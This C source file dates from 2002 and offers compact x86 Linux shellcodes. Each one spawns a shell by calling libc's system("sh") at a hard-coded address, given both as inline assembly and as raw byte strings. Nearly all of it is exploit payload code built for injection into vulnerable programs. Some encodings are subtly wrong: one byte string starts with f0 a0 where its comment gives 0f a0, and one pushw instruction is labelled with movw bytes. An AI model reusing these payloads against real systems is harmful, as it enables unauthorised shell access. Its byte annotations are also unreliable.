/*
 *  system("sh")   ret in libc
 *
 *  (linux glibc x86 little endian)
 *
 *  Copyright (c) 2002 Alberto Ornaghi <alor@antifork.org>
 *
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <stdio.h>

/* 15 bytes */
char shellret[]    = "\x31\xc0\x66\xb8\x73\x68\x50\x54\x54\x68\x70\x10\x06\x40\xc3";

/* 14 bytes */
char shellretopt[] = "\xf0\xa0\x66\xb8\x73\x68\x54\x54\x68\x70\x10\x06\x40\xc3";

/* protos */

void shell_sys(void);         /* 13 bytes */
void shell_sys_opt(void);     /* 12 bytes */

void shell_ret(void);         /* 15 bytes */
void shell_ret_opt(void);     /* 14 bytes */

/***************************************************/

int main(int argc, char **argv)
{
  
   void (*f)(void) = (void (*)(void))shellretopt;

   //f();
   
   shell_sys_opt();
   
}

/* 13 bytes */

void shell_sys(void)
{
   /* system("sh"); */

   /* 
    * the call is translated in a relative jump
    * so we cannot put it anywhere...
    */
   
__asm__(
"         xorl %eax, %eax      # 31 c0                                                    \n"
"         movw $0x6873, %ax    # 66 b8 73 68                                              \n"
"         push %eax            # 50                                                       \n"
"         push %esp            # 54                                                       \n"
"         call 0x40061070      # e8 xx xx xx xx      base 0x4001f000 + offset 0x00042070  ");

   exit(0);                    
}

/* 12 bytes */

void shell_sys_opt(void)
{
   
/*
 * under linux the %fs register is ALWAYS null
 */
   
__asm__(
"         push %fs             # 0f a0                                                    \n"             
"         pushw $0x6873        # 66 b8 73 68                                              \n"             
"         push %esp            # 54                                                       \n"
"         call 0x40061070      # e8 xx xx xx xx      base 0x4001f000 + offset 0x00042070  ");

   exit(0);                    
}



/* (c) gigi sullivan <sullivan@sikurezza.org> */ 

/* 15 bytes
 *
 * it doesn't use the direct call, thus the jump 
 * is not relative.
 * this shellcode is a little bit more relocable 
 * than the previous one... it can be stored on 
 * the stack without any adjustement
 */

void shell_ret(void)
{
__asm__(
"     xorl %eax, %eax        # 31 c0                                                      \n"             
"     movw $0x6873, %ax      # 66 b8 73 68                                                \n"             
"     push %eax              # 50                                                         \n"             
"     push %esp              # 54                                                         \n"             
"     push %esp # dummy      # 54                                                         \n"             
"     pushl $0x40061070      # 68 70 10 06 40                                             \n"             
"     ret                    # c3                                                         ");
   
}

/* (c) gigi sullivan <sullivan@sikurezza.org> */ 

/* 14 bytes */

void shell_ret_opt(void)
{
__asm__(
"     push %fs               # 0f a0                                                      \n"             
"     pushw $0x6873          # 66 b8 73 68                                                \n"             
"     push %esp              # 54                                                         \n"             
"     push %esp # dummy      # 54                                                         \n"             
"     pushl $0x40061070      # 68 70 10 06 40                                             \n"             
"     ret                    # c3                                                         ");
   
}

// vim ts=3:expandtab
